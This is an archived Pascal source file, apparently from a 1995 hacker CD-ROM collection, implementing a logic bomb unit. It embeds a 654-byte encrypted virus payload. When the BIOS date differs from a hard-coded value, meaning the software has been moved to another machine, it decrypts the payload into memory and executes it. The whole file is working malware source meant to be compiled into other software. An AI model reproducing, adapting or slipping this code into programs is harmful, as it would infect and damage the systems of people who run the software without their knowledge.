home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / DESTRUCT / BOMB.PAS next >
Encoding:
Pascal/Delphi Source File  |  1995-08-18  |  4.5 KB  |  100 lines

  1. unit bomb;         {Logic bomb that releases a virus if you move the software}
  2.  
  3. interface          {Nothing external to this unit}
  4.  
  5. implementation
  6.  
  7. {The following constants must be set to the proper values before compiling
  8.  this TPU}
  9. const
  10.   VIRSIZE          =654;                        {Size of virus to be released}
  11.   VIRUS            :array[0..VIRSIZE-1] of byte=(121,74,209,113,228,217,200,
  12.    48,127,169,231,22,127,114,19,249,164,149,27,
  13.    2,22,86,109,173,142,151,117,252,138,194,241,173,131,219,236,123,107,219,
  14.    44,184,231,188,56,212,0,241,70,135,82,39,191,197,228,132,39,184,52,206,
  15.    136,74,47,31,190,20,8,38,67,190,55,1,77,59,59,120,59,16,212,148,200,185,
  16.    198,87,68,224,65,188,71,130,167,197,209,228,169,42,130,208,70,62,15,172,
  17.    115,12,98,116,214,146,109,176,55,30,8,60,245,148,49,45,108,149,136,86,
  18.    193,14,82,5,121,126,192,129,247,180,201,126,187,33,163,204,29,156,24,
  19.    14,254,167,147,189,184,174,182,212,141,102,33,244,61,167,208,155,167,
  20.    236,173,211,150,34,220,218,217,93,170,65,99,115,235,0,247,72,227,123,
  21.    19,113,64,231,232,104,187,38,27,168,162,119,230,190,61,252,90,54,10,167,
  22.    140,97,228,223,193,123,242,189,7,91,126,191,81,255,185,233,170,239,35,
  23.    24,72,123,193,210,73,167,239,43,13,108,119,112,16,2,234,54,169,13,247,
  24.    214,159,11,137,32,236,233,244,75,166,232,195,101,254,72,20,100,241,247,
  25.    154,86,84,192,46,72,52,124,156,79,125,14,250,65,250,34,233,20,190,145,
  26.    135,186,199,241,53,215,197,209,117,4,137,36,8,203,14,104,83,174,153,208,
  27.    91,209,174,232,119,231,113,241,101,56,222,207,24,242,40,236,6,183,206,
  28.    44,152,14,36,34,83,199,140,1,156,73,197,84,195,151,253,169,73,81,246,
  29.    158,243,22,46,245,85,157,110,108,164,110,240,135,167,237,124,83,173,173,
  30.    146,196,201,106,37,71,129,151,63,137,166,6,89,80,240,140,88,160,138,11,
  31.    116,117,159,245,129,102,199,0,86,127,109,231,233,6,125,162,135,54,104,
  32.    158,151,28,10,245,45,110,150,187,37,189,120,76,151,155,39,99,43,254,103,
  33.    133,93,89,131,167,67,43,29,191,139,27,246,21,246,148,130,130,172,137,
  34.    60,53,238,216,159,208,84,39,130,25,153,59,0,195,230,37,52,205,81,32,120,
  35.    220,148,245,239,2,6,59,145,20,237,14,149,146,252,133,18,5,206,227,250,
  36.    193,45,129,137,84,159,159,166,69,161,242,81,190,54,185,196,58,151,49,
  37.    116,131,19,166,16,251,188,125,116,239,126,69,113,5,3,171,73,52,114,252,
  38.    172,226,23,133,180,69,190,59,148,152,246,44,9,249,251,196,85,39,154,184,
  39.    74,141,91,156,79,121,140,232,172,22,130,253,253,154,120,211,102,183,145,
  40.    113,52,246,189,138,12,199,233,67,57,57,31,74,123,94,1,25,74,188,30,73,
  41.    83,225,24,23,202,111,209,77,29,17,234,188,171,187,138,195,16,74,142,185,
  42.    111,155,246,10,222,90,67,166,65,103,151,65,147,84,83,241,181,231,38,11,
  43.    237,210,112,176,194,86,75,46,208,160,98,146,171,122,236,252,220,72,196,
  44.    218,196,215,118,238,37,97,245,147,150,141,90,115,104,90,158,253,80,176,
  45.    198,87,159,107,240,15);
  46.  
  47.  
  48.   ENTRYPT          =87;                   {Entry pt for initial call to virus}
  49.   RAND_INIT        =10237989;                   {Used to initialize decryptor}
  50.   SYS_DATE_CHECK   :array[0..8] of char=('0','3','/','2','5','/','9','4',#0);
  51.  
  52. type
  53.   byte_arr         =array[0..10000] of byte;
  54.  
  55. var
  56.   vir_ptr          :pointer;
  57.   vp               :^byte_arr;
  58.  
  59. {This routine triggers if the system BIOS date is not the same as
  60.  SYS_DATE_CHECK. Triggering is defined as returning a TRUE value.}
  61. function Trigger_1:boolean;
  62. var
  63.   SYS_DATE         :array[0..8] of char absolute $F000:$FFF5;
  64.   j                :byte;
  65. begin
  66.   Trigger_1:=false;
  67.   for j:=0 to 8 do
  68.     if SYS_DATE_CHECK[j]<>SYS_DATE[j] then Trigger_1:=true;
  69. end;
  70.  
  71. {This procedure calls the virus in the allocated memory area. It does its
  72.  job and returns to here}
  73. procedure call_virus; assembler;
  74. asm
  75.   call  DWORD PTR ds:[vp]
  76. end;
  77.  
  78.  
  79. {This procedure releases the virus stored in the data array VIRUS by setting
  80.  up a segment for it, decrypting it into that segment, and executing it.}
  81. procedure Release_Virus;
  82. var
  83.   w                :array[0..1] of word absolute vir_ptr;
  84.   j                :word;
  85. begin
  86.   GetMem(vir_ptr,VIRSIZE+16);            {allocate memory to executable virus}
  87.   if (w[0] div 16) * 16 = w[0] then vp:=ptr(w[1]+(w[0] div 16),0)
  88.   else vp:=ptr(w[1]+(w[0] div 16)+1,0);  {adjust starting offset to 0}
  89.  
  90.   RandSeed:=RAND_INIT;       {put virus at offset 0 in newly allocated memory}
  91.   for j:=0 to VIRSIZE-1 do vp^[j]:=VIRUS[j] xor Random(256);
  92.   vp:=ptr(seg(vp^),ENTRYPT);
  93.   call_virus;
  94.   Dispose(vir_ptr);                              {dispose of allocated memory}
  95. end;
  96.  
  97. begin
  98.   if Trigger_1 then Release_Virus;
  99. end.
  100.